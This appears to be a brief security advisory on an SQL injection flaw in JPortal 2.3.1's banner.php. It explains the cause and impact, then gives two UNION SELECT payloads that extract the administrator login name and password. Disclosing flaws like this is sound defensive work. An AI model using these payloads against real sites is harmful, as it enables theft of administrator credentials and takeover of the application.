source: http://www.securityfocus.com/bid/13103/info

JPortal is reportedly affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect JPortal version 2.3.1; earlier versions may also be vulnerable. 

The following demonstrates the steps necessary to obtain the administrator login id and password:
go to http://www.example.com/jportal/banner.php and try this:

' UNION SELECT NULL, nick, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1

and then:

' UNION SELECT NULL, pass, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1 